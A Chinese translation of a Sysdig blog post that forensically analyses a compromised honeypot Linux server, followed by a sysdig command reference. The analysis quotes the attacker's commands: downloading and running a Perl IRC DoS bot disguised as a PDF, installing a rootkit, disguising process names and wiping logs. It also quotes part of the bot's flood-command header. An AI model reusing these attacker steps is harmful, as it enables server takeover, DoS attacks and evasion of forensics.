Fishing for Hackers: Analysis of a Linux Server Attack
From: https://sysdig.com/blog/fishing-for-hackers/
幾天前我偶然看到一篇經典的博文,文章介紹了加強一個全新Linux服務安全性的常規做法,其中包括安裝fail2ban,禁用SSH密碼認證,隨機化SSH埠,配置iptables等內容。這讓我聯想到,假如我與其背道而馳會發生什麼?當然,最常見的結果就是使其淪陷成為一個殭屍網路的受害者,殭屍網路就是在不停地掃描大範圍的公網IP地址,以期望透過暴力破解(SSH或Wordpress等)的方式找到一些配置不當的服務。但是當你成為這些簡單攻擊的受害者時,實際上發生了什麼?攻擊者又做了些什麼?本篇文章就使用sysdig捕獲分析我們伺服器上實際攻擊的例子,進而解答以上提出的問題。所以讓我們釣起魚兒來!
0x00 起步
具體的想法就是將一組配置不當且存在漏洞的伺服器暴露在網際網路上,等到有人入侵後,我們再來分析一下發生了哪些有趣的事情。這就相當於:把誘餌撒到水中,等待魚兒上鉤,然後抓一個上來研究研究。首先我需要一些誘餌,意即一些配置不當的主機。現在來說這些都是so easy的事兒啦。我使用了好幾種IaaS供應商(確切來說是AWS,Rackspace和Digital Ocean)的服務,配置了大約20臺Ubuntu 12.04伺服器——希望其中至少有一個伺服器能夠成為某些殭屍網路的“重點”關注物件。接下來就需要正確地記錄作業系統的活動,這樣我就可以確切地知道攻擊者採取了哪些手段。因為我喜愛使用sysdig,所以我選擇將sysdig和S3組合使用。我使用-z
來啟用sysdig的壓縮功能,進而捕獲每個I/O buffer中產生的大量位元組數。
#!shell
sysdig -s 4096 -z -w /mnt/sysdig/$(hostname).scap.gz
現在所有的例項都已配置妥當,我就簡單地以"password"作為密碼開啟SSH root登入,以確保即使是最愚蠢的暴力破解演算法也能很快地攻破系統。在這之後,我就靜靜地看著sysdig將結果dump到S3上。
0x01 中頭彩了!
第一個魚兒來得如此之快:其中一個伺服器僅在4小時後就被攻陷了!我是怎麼知道的?我注意到在我的S3 bucket上,sysdig記錄的檔案在頃刻間往上跳了好幾兆——遠遠超過了閒置伺服器在後臺執行時,應該產生大約100KB/hour的流量。所以我就將這個記錄檔案(大約150MB)下載到我的OSX上,探索研究一下。
0x02 探索伺服器端產生的攻擊
我以我比較喜歡的方式開始進行分析:總覽一下主機上程式,網路和I/O當中發生了些什麼。首先,我透過受害主機上的網路I/O流量來檢視top程式:
#!shell
$ sysdig -r trace.scap.gz -c topprocs_net
Bytes Process
------------------------------
439.63M /usr/sbin/httpd
422.29M /usr/local/apac
5.27M sshd
2.38M wget
20.81KB httpd
9.94KB httpd
6.40KB perl
伺服器上產生了相當多的流量,但是我並沒有配置任何服務!在那之後我也不記得有安裝過/usr/sbin/httpd
和/usr/local/apac
。接下來我們再看看網路連線:
#!shell
$ sysdig -r trace.scap.gz -c topconns
Bytes Proto Connection
------------------------------
439.58M udp 170.170.35.93:50978->39.115.244.150:800
422.24M udp 170.170.35.93:55169->39.115.244.150:800
4.91M tcp 85.60.66.5:59893->170.170.35.93:22
46.72KB tcp 170.170.35.93:39193->162.243.147.173:3132
43.62KB tcp 170.170.35.93:39194->162.243.147.173:3132
20.81KB tcp 170.170.35.93:53136->198.148.91.146:6667
1000B udp 170.170.35.93:0->39.115.244.150:800
我的主機產生了800MB的UDP流量——我的天哪!這簡直就是活生生的DOS攻擊。我猜測攻擊者安裝了一些殭屍網路的客戶端,來生成相應的DOS流量,所以我當機立斷地把伺服器關了,確保它不會對其他人造成進一步的傷害。就我目前所掌握的資訊可以確定伺服器已經被攻陷了,我如果使用其他的監控工具也可以得出相同的結論。然而不同的是,我的S3 bucket裡儲存著全部的細節,所以我就可以開始深度挖掘實際發生的情況。我先使用我最愛的chisel,spy_users
,看看惡意使用者在登入之後幹了些啥:
#!shell
$ sysdig -r trace.scap.gz -c spy_users
06:11:28 root) cd /usr/sbin
06:11:30 root) mkdir .shm
06:11:32 root) cd /usr/sbin/.shm
06:11:39 root) wget xxxxxxxxx.altervista.org/l.tgz
06:11:40 root) tar zxvf l.tgz
06:11:42 root) cd /usr/sbin/.shm/lib/.muh/src
06:11:43 root) /bin/bash ./configure --enable-local
06:11:56 root) make all
看到這裡發生了什麼嗎?攻擊者使用了一個“聰明”的名字.shm
,在/usr/sbin
目錄下建立了一個隱藏資料夾,然後下載程式的原始碼並開始編譯。我把上面URL中的檔案下載下來了,發現它是個IRC bouncer Muh。在存檔檔案中,我發現一些類似於攻擊者非常個人化的配置檔案這樣有趣的事物,其中包含了各種使用者名稱密碼還有一堆用於自動加入Undernet的IRC channel。他接下來做了這些事:
#!shell
06:13:19 root) wget http://xxxxxxxxx.altervista.org/.sloboz.pdf
06:13:20 root) perl .sloboz.pdf
06:13:20 root) rm -rf .sloboz.pdf
06:12:58 root) /sbin/iptables -I INPUT -p tcp --dport 9000 -j ACCEPT
06:12:58 root) /sbin/iptables -I OUTPUT -p tcp --dport 6667 -j ACCEPT
Nice!一個perl指令碼檔案被下載成為一個隱藏的pdf檔案。我很好奇想要了解更多的東西。不幸的是,當我試圖訪問以上的URL時,檔案已經不復存在了。好吧,還有sysdig可以幫助我,因為它記錄了每一個I/O操作(正如我在命令中指定的,每個操作最多記錄4096位元組的資料)。我就可以看到wget往檔案中寫了些啥:
#!shell
$ sysdig -r trace.scap.gz -A -c echo_fds fd.filename=.sloboz.pdf
------ Write 3.89KB to /run/shm/.sloboz.pdf
#!/usr/bin/perl
####################################################################################################################
####################################################################################################################
## Undernet Perl IrcBot v1.02012 bY DeBiL @RST Security Team ## [ Help ] #########################################
## Stealth MultiFunctional IrcBot Writen in Perl #####################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
## I'm not responsible for the illegal use of this program. ## !u @utils ##
####################################################################################################################
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] #########################
####################################################################################################################
## !u !join <#channel> ## !u @udp1 <ip> <port> <time> ## !su @conback <ip> <port> ##
## !u !part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ##
## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ##
## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ##
## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ##
因催斯汀...這原來是一個perl DoS客戶端,可以被IRC控制執行命令,所以攻擊者就可以很輕鬆地管理這些成千上萬的機器。我也是足夠地幸運,因為wget在整個過程中就進行了4KB的I/O操作,所以如果我檢視全部的輸出,我就可以得到完整的原始碼(以上的是被截斷的)。透過讀取其中的header我們就可以知道這個東西是怎麼運作的——它應該會接收到一個“@udp
”IRC訊息然後使用網路流量衝擊目標主機。讓我們來看看是否有人傳送了一個命令:
#!shell
$ sysdig -r trace.scap.gz -A -c echo_fds evt.buffer contains @udp
------ Read 67B from 170.170.35.93:39194->162.243.147.173:3132
:[email protected] PRIVMSG #nanana :!u @udp1 39.115.244.150 800 300
正如你所見,bot接收到一個(肯定來自它的owner)TCP連線,其中包含一條向39.115.244.150IP的800埠的攻擊命令,這正好跟之前網路連線列表中,前兩項泛洪數百兆流量的IP地址和埠號相同。這一切都很有意義!但是攻擊並沒有就此止步:
#!shell
06:13:11 root) wget xxxxxxxxx.xp3.biz/other/rk.tar
06:13:12 root) tar xvf rk.tar
06:13:12 root) rm -rf rk.tar
06:13:12 root) cd /usr/sbin/rk
06:13:17 root) tar zxf mafixlibs
什麼是mafixlibs?Google說它是一種rootkit,但是我想看看在那個tar檔案裡包含著什麼,所以我就再次使用sysdig,查詢tar寫了哪些檔案:
#!shell
$ sysdig -r trace.scap.gz -c topfiles_bytes proc.name contains tar and proc.args contains mafixlibs
Bytes Filename
------------------------------
207.76KB /usr/sbin/rk/bin/.sh/sshd
91.29KB /usr/sbin/rk/bin/ttymon
80.69KB /usr/sbin/rk/bin/lsof
58.14KB /usr/sbin/rk/bin/find
38.77KB /usr/sbin/rk/bin/dir
38.77KB /usr/sbin/rk/bin/ls
33.05KB /usr/sbin/rk/bin/lib/libproc.a
30.77KB /usr/sbin/rk/bin/ifconfig
30.71KB /usr/sbin/rk/bin/md5sum
25.88KB /usr/sbin/rk/bin/syslogd
可以很清楚地看到是一堆二進位制檔案。所以我猜測在我的spy_users
輸出中可以看到攻擊者正在替換系統元件:
#!shell
06:13:18 root) chattr -isa /sbin/ifconfig
06:13:18 root) cp /sbin/ifconfig /usr/lib/libsh/.backup
06:13:18 root) mv -f ifconfig /sbin/ifconfig
06:13:18 root) chattr +isa /sbin/ifconfig
確實,他人還挺好的給我留了一份備份檔案。到目前為止我所掌握的資訊有:我得到了一對IRC bots,一些入侵系統的二進位制檔案以及我成功解釋了在開始時看到的UDP泛洪流量。但還遺留下來一個問題就是:為什麼topprocs_net
顯示出所有的UDP流量都是由/usr/sbin/httpd
和/usr/local/apac
程式產生的,我還未在spy_users
的輸出中發現哪些安裝在機器上的二進位制檔案呢?我猜測perl bot它自己能夠傳送UDP資料包,因為它是接收命令的那一方。讓我們再次使用sysdig
,並且定位到系統呼叫級別。我想檢視所有和“/usr/local/apac
”有關的事件:
#!shell
$ sysdig -r trace.scap.gz -A evt.args contains /usr/local/apac
...
955716 06:13:20.225363385 0 perl (10200) < clone res=10202(perl) exe=/usr/local/apach args= tid=10200(perl) pid=10200(perl) ptid=7748(-bash) cwd=/tmp fdlimit=1024 flags=0 uid=0 gid=0 exepath=/usr/bin/perl
...
既然來到這兒了,我也想看看這個pid為10200的perl程式是何時啟動的:
#!shell
$ sysdig -r trace.scap.gz proc.pid = 10200
954458 06:13:20.111764417 0 perl (10200) < execve res=0 exe=perl args=.sloboz.pdf. tid=10200(perl) pid=10200(perl) ptid=7748(-bash) cwd=/run/shm fdlimit=1024 exepath=/usr/bin/perl
同我們之前看到的那樣,perl程式只是和“.sloboz.pdf
”相關。但是你有沒有看出其中的端倪?這極有可能被魚目混珠過去:perl程式(肯定是DoS客戶端)將它自己fork了(clone event 955716),但是在這之前它把它自己的可執行檔名和引數(“exe” and “args”)從“perl .sloboz.pdf” (event 954458)改為一個隨機且不可疑的“/usr/local/apach” (event 955716)。這就可以迷惑像ps,top和sysdig這樣的工具。當然,在這裡是並沒有/usr/local/apach
的。你可以看到在fork程式後從未執行過一個新的二進位制檔案,它只是改變了名字而已。透過閱讀perl客戶端的原始碼(使用echo_fds
),我可以進一步確認這一點:
#!shell
my @rps = ("/usr/local/apache/bin/httpd -DSSL","/usr/sbin/httpd -k start -DSSL","/usr/sbin/httpd","/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D","/sbin/syslogd","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron");
my $process = $rps[rand scalar @rps];
$0="$process".""x16;;
my $pid=fork;
perl程式將其argv改為一個隨機化的普通名字,然後再fork自身,很有可能是用來作為守護程式。最後,攻擊者決定刪除日誌並用新的來替換它們:
#!shell
06:13:30 root) rm -rf /var/log/wtmp
06:13:30 root) rm -rf /var/log/lastlog
06:13:30 root) rm -rf /var/log/secure
06:13:30 root) rm -rf /var/log/xferlog
06:13:30 root) rm -rf /var/log/messages
06:13:30 root) rm -rf /var/run/utmp
06:13:30 root) touch /var/run/utmp
06:13:30 root) touch /var/log/messages
06:13:30 root) touch /var/log/wtmp
06:13:30 root) touch /var/log/messages
06:13:30 root) touch /var/log/xferlog
06:13:30 root) touch /var/log/secure
06:13:30 root) touch /var/log/lastlog
06:13:30 root) rm -rf /var/log/maillog
06:13:30 root) touch /var/log/maillog
06:13:30 root) rm -rf /root/.bash_history
06:13:30 root) touch /root/.bash_history
0x04 結論
哇噢。透過從高角度分析和在必要的時候深入到某個系統呼叫,我能夠很準確地追蹤到發生了什麼。而這一切都是在例項完全關閉的情況下,僅僅使用sysdig來記錄包含所有系統活動的檔案!
0x05 最後說明
- 本篇博文中的所有IP地址都是經過隨機化處理和隱藏的,因為其中的一些被攻擊的伺服器很可能仍然在使用,我不想暴露他們的任何資訊。
- 因為如果I/O buffer被捕獲的話記錄檔案很容易激增,所以在高負載的生產環境中進行持續性捕獲是很困難的。設定一個好的捕獲過濾器(例如過濾掉主Web伺服器程式的事件)可以明顯地緩解這一點。
0x06 譯者注
安裝
sysdig可直接在Kali2下安裝:
#!shell
apt-get -y install sysdig
快速參考指南
命令格式
sysdig [option]... [filter]
命令選項
-b, --print-base64
以base64的形式列印出資料buffer。這對二進位制資料編碼非常又用,進而可以將其用於處理文字資料的媒介中(例如,終端或者json)。
-c chiselname chiselargs, --chisel=chiselname chiselargs
執行特定的chisel。如果某chisel需要傳遞引數,那麼它們必須跟在chisel名之後。
-cl, --list-chisels
列出可用的chisel。其會在.
,./chisels
,~/chisels
和/usr/share/sysdig/chisels
中搜尋chisel。
-dv, --displayflt
為給定的過濾器設定輸出。一旦設定了這個選項就會使事件在被狀態系統解析後過濾。將事件在被分析前過濾是很有效的,但是可能會造成狀態的丟失(例如FD名)。
-h, --help
列印出此幫助頁面
-j, --json
以json的格式作為輸出。資料buffer是否編碼則取決於輸出格式的選擇。
-l, --list
列出可被過濾器和輸出格式使用的欄位。使用-lv
將會得到每個欄位的附加資訊。
-L, --list-events
列出該裝置支援的事件。
-n num, --numevents=num
在一定事件後停止捕獲
-p output_format, --print=output_format
指定列印事件時使用的格式。可在examples部分獲得更多相關資訊。
-q, --quiet
不在螢幕上輸出事件。這一點在dump到磁碟時非常有用。
-r readfile, --read=readfile
從檔案中讀取事件。
-S, --summary
當捕獲結束時列印出事件摘要(例如top事件列表)
-s len, --snaplen=len
為每一個I/O buffer捕獲的位元組數。預設情況下,頭80個位元組會被捕獲。請謹慎使用此選項,它可以產生巨大的記錄檔案。
-t timetype, --timetype=timetype
更改事件時間的顯示方式。可接收的值有:h用於人類可讀的字串,a用於絕對時間戳,r用於從開始捕獲起的相對時間,d則用於事件登入登出中的delta。
-v, --verbose
詳細輸出。
-w writefile, --write=writefile
將捕獲的事件寫入到writefile中。
基本命令列表
捕獲當前的系統中的所有事件,並將其輸出到螢幕上
sysdig
捕獲當前的系統中的所有事件,並將其儲存到磁碟中
sysdig -qw dumpfile.scap
從檔案中讀取事件,並將其輸出到螢幕上
sysdig -r dumpfile.scap
列印出全部由cat引發的open作業系統呼叫
sysdig proc.name=cat and evt.type=open
列印出cat開啟的檔名
./sysdig -p"%evt.arg.name" proc.name=cat and evt.type=open
列出可用的chisel
./sysdig -cl
為192.168.1.157IP地址執行spy_ip chisel
sysdig –c spy_ip 192.168.1.157
輸出格式
在預設情況下,sysdig將在一行上列印出每個捕獲事件的相關資訊,以如下格式呈現:
<evt.time> <evt.cpu> <proc.name> <thread.tid> <evt.dir> <evt.type> <evt.args>
其中:evt.time
為時間時間戳;evt.cpu
為事件被捕獲所處的CPU number;proc.name
為事件產生的程式名;thread.tid
為事件產生的TID,相對於單執行緒程式來說就是它的PID;evt.dir
為事件的方向,>
為事件進入,<
為事件退出;evt.type
為事件的名稱,例如'open
'或者'read
';evt.args
則是事件引數列表。
可利用-p
指定輸出格式,也可用使用'sysdig -l
'列出所有的欄位。
Filtering
可在命令列的結尾設定sysdig過濾器。最簡單的過濾器就是一個簡單的域值檢測:
$ sysdig proc.name=cat
利用'sysdig -l
'可得到所有可用的欄位。以下對比運算子皆可用來檢測相關內容: =
,!=
,<
,<=
,>
,>=
和contains
。例如:
$ sysdig fd.name contains /etc
可使用括號和布林運算子and
,or
,not
進行多重檢測:
$ sysdig "not(fd.name contains /proc or fd.name contains /dev)"
Chisels
Sysdig中的chisels是分析sysdig事件流並執行有用的操作小指令碼。如下輸入可得到可用的chisel列表:
$ sysdig –cl
對於每一個chisel,你必須鍵入相應的名字和其預期的引數。可使用-c
執行一個chisel,例如:
$ sysdig –c topfiles_bytes
如果一個chisel需要引數,可在chisel名後設定:
$ sysdig –c spy_ip 192.168.1.157
Chiesls可與filters聯合使用:
$ sysdig -c topfiles_bytes "not fd.name contains /dev"
使用例項
Networking
- 在網路頻寬使用方面檢視top程式
sysdig -c topprocs_net
- 顯示與主機192.168.0.1交換的網路資料
as binary: sysdig -s2000 -X -c echo_fds fd.cip=192.168.0.1 as ASCII: sysdig -s2000 -A -c echo_fds fd.cip=192.168.0.1
- 檢視本地伺服器top埠
in terms of established connections: sysdig -c fdcount_by fd.sport "evt.type=accept" in terms of total bytes: sysdig -c fdbytes_by fd.sport
- 檢視top客服端IP
in terms of established connections sysdig -c fdcount_by fd.cip "evt.type=accept" in terms of total bytes sysdig -c fdbytes_by fd.cip
- 列出所有不是由apache服務的接入連線
sysdig -p"%proc.name %fd.name" "evt.type=accept and proc.name!=httpd"
Containers
- 檢視執行在機器上的containers列表和他們的資源使用情況
sudo csysdig -vcontainers
- 檢視container上下文中的程式列表
sudo csysdig -pc
- 檢視wordpress1 container內執行的程式的CPU使用率
sudo sysdig -pc -c topprocs_cpu container.name=wordpress1
- 檢視wordpress1 container內執行的程式的網路頻寬佔用率
sudo sysdig -pc -c topprocs_net container.name=wordpress1
- 檢視wordpress1 container中使用著最大網路頻寬的程式
sudo sysdig -pc -c topprocs_net container.name=wordpress1
- 檢視wordpress1 container中I/O方面的top檔案
sudo sysdig -pc -c topfiles_bytes container.name=wordpress1
- 檢視wordpress1 container中的top網路連線
sudo sysdig -pc -c topconns container.name=wordpress1
- 顯示所有在wordpress1 container中執行的互動式命令
sudo sysdig -pc -c spy_users container.name=wordpress1
Application
- 檢視裝置產生的所有HTTP GET請求
sudo sysdig -s 2000 -A -c echo_fds fd.port=80 and evt.buffer contains GET
- 檢視裝置產生的所有SQL select查詢
sudo sysdig -s 2000 -A -c echo_fds evt.buffer contains SELECT
- 檢視透過apache傳到外部MySQL服務端的實時查詢
sysdig -s 2000 -A -c echo_fds fd.sip=192.168.30.5 and proc.name=apache2 and evt.buffer contains SELECT
Disk I/O
- 檢視在磁碟頻寬使用方面的top程式
sysdig -c topprocs_file
- 列出正在使用大量檔案的程式
sysdig -c fdcount_by proc.name "fd.type=file"
- 檢視在讀寫位元組方面的top檔案
sysdig -c topfiles_bytes
- 列印出apache已經讀取或者寫入的top檔案
sysdig -c topfiles_bytes proc.name=httpd
- 基本的open監控,監控檔案open操作
sysdig -p "%12user.name %6proc.pid %12proc.name %3fd.num %fd.typechar %fd.name" evt.type=open
- 檢視在讀寫磁碟活動方面的top目錄
sysdig -c fdbytes_by fd.directory "fd.type=file"
- 檢視在/tmp目錄下讀寫磁碟活動的top目錄
sysdig -c fdbytes_by fd.filename "fd.directory=/tmp/"
- 觀察所有名為'passwd'檔案的I/O活動
sysdig -A -c echo_fds "fd.filename=passwd"
- 以FD type顯示I/O活動
sysdig -c fdbytes_by fd.type
Processes and CPU usage
- 檢視在CPU使用率方面的top程式
sysdig -c topprocs_cpu
- 檢視一個程式的標準輸出
sysdig -s4096 -A -c stdout proc.name=cat
Performance and Errors
- 檢視花銷了大量時間的檔案
sysdig -c topfiles_time
- 檢視apache花銷了大量時間的檔案
sysdig -c topfiles_time proc.name=httpd
- 檢視在I/O錯誤方面的top程式
sysdig -c topprocs_errors
- 檢視在I/O錯誤方面的top檔案
sysdig -c topfiles_errors
- 檢視所有失敗的磁碟I/O呼叫
sysdig fd.type=file and evt.failed=true
- 檢視httpd所有失敗的檔案open
sysdig "proc.name=httpd and evt.type=open and evt.failed=true"
- 檢視花銷時間最長的系統呼叫
See the system calls where most time has been spent
- 檢視那些返回錯誤的系統呼叫
sysdig -c topscalls "evt.failed=true"
- 監控失敗的檔案open操作
sysdig -p "%12user.name %6proc.pid %12proc.name %3fd.num %fd.typechar %fd.name" evt.type=open and evt.failed=true
- 列印出延時超過1ms的檔案I/O呼叫:
sysdig -c fileslower 1
Security
- 顯示出"root"使用者訪問的目錄
sysdig -p"%evt.arg.path" "evt.type=chdir and user.name=root"
- 觀察ssh活動
sysdig -A -c echo_fds fd.name=/dev/ptmx and proc.name=sshd
- 顯示出在
/etc
目錄下的每一個檔案open操作
sysdig evt.type=open and fd.name contains /etc
- 顯示出所有使用了"tar"命令的login shell的ID
sysdig -r file.scap -c list_login_shells tar
- 顯示出給定ID的login shell執行的所有命令
sysdig -r trace.scap.gz -c spy_users proc.loginshellid=5459
使用sysdig的取證分析案例:
相關文章
- linux symbolic link attack tutorial2020-08-19LinuxSymbol
- SQL Server 2008中Analysis Services的新特性——深入SQL Server 20082020-04-07SQLServer
- Analysis Services基礎知識——深入SQL Server 20082020-04-07SQLServer
- Linux Troubleshooting 超實用系列 - Disk Analysis2022-05-16Linux
- Unable to execute SonarScanner analysis: Fail to get bootstrap index from server: Host is unreachable(Host unreachable)2024-05-06AIbootIndexServer
- Samsung S Voice attack2020-08-19
- Reflected File Download Attack2020-08-19
- Intent scheme URL attack2020-08-19IntentScheme
- C語言中continue的理解(fishing_1)2018-07-09C語言
- RISK ANALYSIS2024-11-05
- [翻譯]SQL Server 2005 Analysis Services效能指南 Part 1 - 理解查詢構架2019-01-08SQLServer
- Unsortbin attack原理及分析2024-04-26
- Flutter Analysis Options2020-05-29Flutter
- HanLP Analysis for Elasticsearch2019-04-22HanLPElasticsearch
- [題解]AT_abc274_f [ABC274F] Fishing2024-06-23
- 【SEED Labs】DNS Rebinding Attack Lab2020-06-20DNS
- An Analysis of Sequential Recommendation Datasets2024-04-24
- A Security Analysis Of Browser Extensions2020-08-19
- Web Scraping & Data Analysis2024-10-24WebAPI
- Statistics and Data Analysis for Bioinformatics2024-10-30ORM
- pytorch contributing - matmul analysis2024-07-22PyTorch
- 在Linux 上安裝 SQL Server2019-04-25LinuxSQLServer
- Japanese Cryptocurrency Monacoin Hit by Selfish Mining Attack2018-07-09
- As a reader --> Diffusion Models for Imperceptible and Transferable Adversarial Attack2024-04-23
- Slither: A Static Analysis Framework For Smart2020-10-28Framework
- MSE 609 Quantitative Data Analysis2024-11-09
- Elasticsearch Analysis 分析器2021-09-09Elasticsearch
- 同一Linux下起兩臺Mysql Server2018-09-09LinuxMySqlServer
- Linux 版本的 SQL Server 快速安裝2018-08-13LinuxSQLServer
- Linux 上配置 SQL Server Always On Availability Group2018-08-29LinuxSQLServerAI
- Red Hat Enterprise Linux Server 7.4 安裝2019-08-20LinuxServer
- 【MSSQL】在Linux上安裝SQL SERVER2020-03-24SQLLinuxServer
- KRYPTON RECOVERS FROM A NEW TYPE OF 51% NETWORK ATTACK2018-06-24
- Bitcoin Node Numbers Fall After Spam Transaction "Attack"2018-06-24
- Wordpress 3.8.2補丁分析 HMAC timing attack2020-08-19Mac
- 常回家看看之largebin_attack2024-07-25
- CSAPP-Lab03 Attack Lab 記錄2022-03-12APP
- Oracle Respones-Time Analysis Reports2019-02-28Oracle